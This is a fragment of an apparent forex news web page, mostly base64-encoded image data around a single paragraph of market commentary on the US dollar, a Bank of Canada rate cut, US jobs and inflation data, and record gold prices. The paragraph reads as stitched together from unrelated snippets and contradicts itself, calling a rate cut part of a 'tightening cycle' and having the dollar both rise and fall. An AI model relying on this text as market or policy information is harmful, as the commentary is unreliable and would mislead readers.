aAwAAE/D/8AvCO/865AgAAAAASUVORK5CYII=" width="253px" alt="forex news trader"/></p>
<p><p>Over the next day, the U.S. dollar gave back the prior gains and then lost additional ground to its European counterpart. The Bank of Canada (BoC) cut its overnight rate by 25 bps to 4.25% today, marking the second consecutive rate cut in its monetary policy tightening cycle. August U.S. jobs data showed signs of cooling but remained net positive, potentially paving the way for a measured Fed rate cut in September. A hotter-than-expected core inflation reading sent the U.S. dollar higher, but risk appetite soon took over and limited the Greenback’s gains. Gold&nbsp;price is sitting at the highest level on record near $2,570, with buyers contemplating the next move amid sustained weakness in the US Dollar&nbsp;and the US Treasury bond yields.</p>
</p>
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